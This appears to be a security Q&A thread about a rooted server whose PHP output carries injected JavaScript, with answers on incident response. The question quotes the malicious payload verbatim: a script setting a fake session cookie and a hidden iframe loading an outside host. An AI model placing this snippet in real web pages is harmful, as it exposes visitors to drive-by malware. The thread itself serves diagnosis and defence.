6

UPDATE: The server was rooted, php.ini was replaced that cause the injection to appear. Still haven't figured out which directive is injecting the javascript.

I'm troubleshooting a hacked website where a javascript is injected in every PHP file and only PHP. The injection only show up in IE also. I have experience with injection before but most of them were injected through FTP, and you can see them in the page itself. I'm not seeing any virus or malicious process on the server so far, and beginning to think either the PHP interpreter or Apache was hacked somehow. Has anyone seen this before or know where I should look? The injection is below,

<script type="text/javascript">
        d=new Date();
        d.setDate(d.getDate()+1);
        document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
      </script><style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://SANITISEDURL.net/ad.jpg?2"></iframe>

This happens to all website on the server, even with PHP file that only has a simple echo. .htaccess looks clean for all of them. Server running PHP 5.2.17 and Apache 2.2.17.

breakingigloo
  • 79
  • 5

4 Answers4

7

Based on your comment to @esskar's answer, it would appear that your server has been rooted and the php binary has been replaced.

Since you have no idea what else may have been replaced, I would reinstall from scratch. Unfortunately you'll have to be suspicious of data files coming off your backups unless you know exactly when the hack occurred. (And I suspect you don't, since you don't know exactly what the hack is/was.)

My biggest problem with the "reinstall from scratch" approach is that you're likely to have the exact same vulnerability that allowed this attack to be successful. To keep this from happening:

  • Change all passwords for all services.
  • Make sure all patches for all packages are installed.
  • Shut down services that are not in use.
  • If practical, partition services onto multiple servers -- place services that might be at higher risk on a separate server.
  • Set up monitoring (IDS) and keep up with maintenance on it so that you have a chance of knowing what happened if another attack occurs.
bstpierre
  • 4,868
  • 1
  • 21
  • 34
  • 1
    "My biggest problem with the "reinstall from scratch" approach is that you're likely to have the exact same vulnerability." While this is sometimes the case, the only rooted server I've dealt with was because software was terribly out of date, the reinstall from scratch involved fixes, however it's pretty important to crawl logs and try to figure out how the machine was compromised (so grab them) so that you can tell how to prevent it again, instead of just shotgunning the problem. – StrangeWill Nov 18 '11 at 17:14
  • 1
    @StrangeWill: Very true. I guess I'm thinking about someone who might install the very latest version of, say, phpMyAdmin, which has the same 0day that let the original attack occur... – bstpierre Nov 18 '11 at 17:28
  • Wouldn't just an update from the repository clean up the problem? Or are you using a roll your own distro without any repos? – munchkin Feb 10 '15 at 13:25
4

open a shell and run php from there (maybe a simple hello world) and see what comes out. if it outputs the injected code, you know what to fix.

EDIT 1:
have not seen this before. i did some google queries on that before hand, the result is kinda small, but most of those results linked to pages where i got a security alert from avira: object <<< JS/Redirector.LC ; virus ; Contains detection pattern of the Java script virus JS/Redirector.LC

esskar
  • 629
  • 1
  • 5
  • 12
  • wow it does show the injection from shell. Do you have any information on this type of attack? – breakingigloo Nov 17 '11 at 09:13
  • 1
    Sounds to me like the php interpreter has been modified. Maybe reinstall php, but make a copy of the php binary and send it to virustotal.com first. – Erlend Nov 17 '11 at 14:47
1

It may not be a good use of your time to try to work out exactly how the malicious stuff on your site works. It's hard to be confident you've found it all.

Instead, the standard advice is to reformat and re-install from trusted backups that date back before the intrusion. There is a lot more to be said about this. Rather than repeating what others have written, I will direct you to the question "what to do after suspected intrusion on hobby webserver", which covers this topic pretty well.

Community
  • 1
D.W.
  • 98,420
  • 30
  • 267
  • 572
0

(I'm assuming at this stage that you are using an offline VM image for analysis and the server is switched off)

It's possible that this could be implemented at several layers - the php script, the php config, the apache binary, or even the kernel.

The obvious place to start looking is in the PHP scripts. If there's nothing there, then the next step would be to check for auto-prepends in the httpd config. Assuming that is clean, and you don't see the same behaviour with .html files I'd try switching the file type association for php files in the httpd config. If the problem still occurs then the .js is being injected by the PHP handler within Apache (but not specifically by PHP itself).

Note that understanding how the injection is implemented will likely be of little benefit in understanding how the code to implement it was deployed - i.r. how to protect your server against the attack.

You didn't say if this is mod_php, cgi or fcgi - which has some bearing.

You also didn't mention what OS this is running on, nor whether there are backups.

This would have been useful as most Linux package managers provide (usually a fairly crude) file signature checking mechanism. And if you've got old backups you could see if you can find the latest one which doesn't exhibit the injection and compare the files with the first one which does exhibit the injection.

symcbean
  • 18,278
  • 39
  • 73